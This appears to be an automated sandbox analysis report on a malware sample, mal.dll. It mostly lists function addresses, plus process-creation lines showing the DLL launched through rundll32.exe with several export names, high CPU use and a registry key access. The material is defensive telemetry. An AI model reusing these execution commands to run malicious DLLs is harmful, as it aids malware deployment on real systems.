Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E570A61	0_2_6E570A61
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E55D380	0_2_6E55D380
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E5538C0	0_2_6E5538C0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E5601D0	0_2_6E5601D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008156A9	2_2_008156A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080AEB9	2_2_0080AEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008206EF	2_2_008206EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081BA18	2_2_0081BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081604E	2_2_0081604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081ED95	2_2_0081ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081E7DA	2_2_0081E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008189DA	2_2_008189DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008191F7	2_2_008191F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00808112	2_2_00808112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00805314	2_2_00805314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00813130	2_2_00813130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00808D59	2_2_00808D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080196D	2_2_0080196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00802B7C	2_2_00802B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00803085	2_2_00803085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080F699	2_2_0080F699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080D899	2_2_0080D899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080C69B	2_2_0080C69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008104A4	2_2_008104A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080F4A5	2_2_0080F4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008068AD	2_2_008068AD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081B0BA	2_2_0081B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00813ABE	2_2_00813ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008054C0	2_2_008054C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00820AD3	2_2_00820AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00817EDD	2_2_00817EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080A8E8	2_2_0080A8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080BEF5	2_2_0080BEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008220F8	2_2_008220F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080E6FD	2_2_0080E6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080F20D	2_2_0080F20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00811C12	2_2_00811C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00822C16	2_2_00822C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00810824	2_2_00810824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00810A37	2_2_00810A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00803E3B	2_2_00803E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081CC3F	2_2_0081CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081645F	2_2_0081645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00820C66	2_2_00820C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00821C71	2_2_00821C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081E478	2_2_0081E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080F984	2_2_0080F984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00821987	2_2_00821987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00807D87	2_2_00807D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080938F	2_2_0080938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00816B91	2_2_00816B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081BFA1	2_2_0081BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008177A7	2_2_008177A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008033A9	2_2_008033A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00805DC3	2_2_00805DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008039C3	2_2_008039C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00814DC5	2_2_00814DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00810FC5	2_2_00810FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00802DC5	2_2_00802DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008113DB	2_2_008113DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_008235E3	2_2_008235E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080B7EC	2_2_0080B7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080FBEF	2_2_0080FBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00801DF9	2_2_00801DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00806BFE	2_2_00806BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081D5FE	2_2_0081D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00823306	2_2_00823306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081D10B	2_2_0081D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081710D	2_2_0081710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00804716	2_2_00804716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00818518	2_2_00818518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00806125	2_2_00806125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081CF2C	2_2_0081CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080B12E	2_2_0080B12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080E336	2_2_0080E336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00807739	2_2_00807739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081473A	2_2_0081473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00804F42	2_2_00804F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081C145	2_2_0081C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0082314A	2_2_0082314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00822D4F	2_2_00822D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080635F	2_2_0080635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081F561	2_2_0081F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00822560	2_2_00822560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00809565	2_2_00809565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00805166	2_2_00805166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080DD66	2_2_0080DD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080996C	2_2_0080996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0081C772	2_2_0081C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00802575	2_2_00802575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00802176	2_2_00802176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00815B7C	2_2_00815B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_0080597D	2_2_0080597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E55A6D0	2_2_6E55A6D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E55E6E0	2_2_6E55E6E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E5566E0	2_2_6E5566E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E555EA0	2_2_6E555EA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E560F10	2_2_6E560F10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E551C10	2_2_6E551C10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E559D50	2_2_6E559D50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E5575F4	2_2_6E5575F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E570A61	2_2_6E570A61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E55D380	2_2_6E55D380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E5538C0	2_2_6E5538C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E5601D0	2_2_6E5601D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE06EF	3_2_02CE06EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDED95	3_2_02CDED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC54C0	3_2_02CC54C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD7EDD	3_2_02CD7EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE0AD3	3_2_02CE0AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCA8E8	3_2_02CCA8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCE6FD	3_2_02CCE6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE20F8	3_2_02CE20F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCBEF5	3_2_02CCBEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC3085	3_2_02CC3085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCF699	3_2_02CCF699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCD899	3_2_02CCD899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCC69B	3_2_02CCC69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD56A9	3_2_02CD56A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD04A4	3_2_02CD04A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCF4A5	3_2_02CCF4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD3ABE	3_2_02CD3ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCAEB9	3_2_02CCAEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDB0BA	3_2_02CDB0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD604E	3_2_02CD604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD645F	3_2_02CD645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE0C66	3_2_02CE0C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDE478	3_2_02CDE478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE1C71	3_2_02CE1C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCF20D	3_2_02CCF20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDBA18	3_2_02CDBA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE2C16	3_2_02CE2C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD1C12	3_2_02CD1C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD0824	3_2_02CD0824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDCC3F	3_2_02CDCC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC3E3B	3_2_02CC3E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD0A37	3_2_02CD0A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD4DC5	3_2_02CD4DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD0FC5	3_2_02CD0FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC2DC5	3_2_02CC2DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC5DC3	3_2_02CC5DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC39C3	3_2_02CC39C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD13DB	3_2_02CD13DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDE7DA	3_2_02CDE7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD89DA	3_2_02CD89DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCB7EC	3_2_02CCB7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCFBEF	3_2_02CCFBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE35E3	3_2_02CE35E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC6BFE	3_2_02CC6BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDD5FE	3_2_02CDD5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC1DF9	3_2_02CC1DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD91F7	3_2_02CD91F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC938F	3_2_02CC938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCF984	3_2_02CCF984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE1987	3_2_02CE1987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC7D87	3_2_02CC7D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD6B91	3_2_02CD6B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC33A9	3_2_02CC33A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD77A7	3_2_02CD77A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDBFA1	3_2_02CDBFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE2D4F	3_2_02CE2D4F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE314A	3_2_02CE314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDC145	3_2_02CDC145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC4F42	3_2_02CC4F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC635F	3_2_02CC635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC8D59	3_2_02CC8D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC996C	3_2_02CC996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC196D	3_2_02CC196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC9565	3_2_02CC9565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC5166	3_2_02CC5166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCDD66	3_2_02CCDD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDF561	3_2_02CDF561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE2560	3_2_02CE2560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC2B7C	3_2_02CC2B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD5B7C	3_2_02CD5B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC597D	3_2_02CC597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC2575	3_2_02CC2575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC2176	3_2_02CC2176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDC772	3_2_02CDC772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD710D	3_2_02CD710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDD10B	3_2_02CDD10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CE3306	3_2_02CE3306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD8518	3_2_02CD8518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC5314	3_2_02CC5314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC4716	3_2_02CC4716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC8112	3_2_02CC8112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CDCF2C	3_2_02CDCF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCB12E	3_2_02CCB12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC6125	3_2_02CC6125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CC7739	3_2_02CC7739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD473A	3_2_02CD473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CCE336	3_2_02CCE336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_02CD3130	3_2_02CD3130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B106EF	5_2_04B106EF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0ED95	5_2_04B0ED95
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0B0BA	5_2_04B0B0BA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFF4A5	5_2_04AFF4A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B03ABE	5_2_04B03ABE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B004A4	5_2_04B004A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFAEB9	5_2_04AFAEB9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B056A9	5_2_04B056A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF3085	5_2_04AF3085
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFC69B	5_2_04AFC69B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFF699	5_2_04AFF699
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFD899	5_2_04AFD899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFA8E8	5_2_04AFA8E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B120F8	5_2_04B120F8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFE6FD	5_2_04AFE6FD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFBEF5	5_2_04AFBEF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B10AD3	5_2_04B10AD3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B07EDD	5_2_04B07EDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF54C0	5_2_04AF54C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B00A37	5_2_04B00A37
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0CC3F	5_2_04B0CC3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B00824	5_2_04B00824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF3E3B	5_2_04AF3E3B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFF20D	5_2_04AFF20D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B01C12	5_2_04B01C12
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B12C16	5_2_04B12C16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0BA18	5_2_04B0BA18
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B11C71	5_2_04B11C71
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0E478	5_2_04B0E478
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B10C66	5_2_04B10C66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0645F	5_2_04B0645F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0604E	5_2_04B0604E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF33A9	5_2_04AF33A9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0BFA1	5_2_04B0BFA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B077A7	5_2_04B077A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF938F	5_2_04AF938F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B06B91	5_2_04B06B91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF7D87	5_2_04AF7D87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFF984	5_2_04AFF984
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B11987	5_2_04B11987
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFFBEF	5_2_04AFFBEF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFB7EC	5_2_04AFB7EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B091F7	5_2_04B091F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0D5FE	5_2_04B0D5FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF6BFE	5_2_04AF6BFE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B135E3	5_2_04B135E3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF1DF9	5_2_04AF1DF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0E7DA	5_2_04B0E7DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF2DC5	5_2_04AF2DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B089DA	5_2_04B089DA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B013DB	5_2_04B013DB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF5DC3	5_2_04AF5DC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF39C3	5_2_04AF39C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B04DC5	5_2_04B04DC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B00FC5	5_2_04B00FC5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B03130	5_2_04B03130
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFB12E	5_2_04AFB12E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0473A	5_2_04B0473A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF6125	5_2_04AF6125
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF7739	5_2_04AF7739
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFE336	5_2_04AFE336
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0CF2C	5_2_04B0CF2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B08518	5_2_04B08518
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B13306	5_2_04B13306
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF4716	5_2_04AF4716
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0D10B	5_2_04B0D10B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF5314	5_2_04AF5314
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF8112	5_2_04AF8112
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0710D	5_2_04B0710D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0C772	5_2_04B0C772
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF196D	5_2_04AF196D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF996C	5_2_04AF996C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF5166	5_2_04AF5166
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AFDD66	5_2_04AFDD66
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF9565	5_2_04AF9565
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B05B7C	5_2_04B05B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0F561	5_2_04B0F561
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B12560	5_2_04B12560
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF597D	5_2_04AF597D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF2B7C	5_2_04AF2B7C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF2176	5_2_04AF2176
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF2575	5_2_04AF2575
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF4F42	5_2_04AF4F42
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF635F	5_2_04AF635F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B0C145	5_2_04B0C145
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04AF8D59	5_2_04AF8D59
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B1314A	5_2_04B1314A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04B12D4F	5_2_04B12D4F

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6E551C10 appears 97 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6E56D350 appears 33 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E551C10 appears 97 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E56D350 appears 33 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: mal.dll

ReversingLabs: Detection: 24%

Source: mal.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\mal.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\mal.dll,axamexdrqyrgb
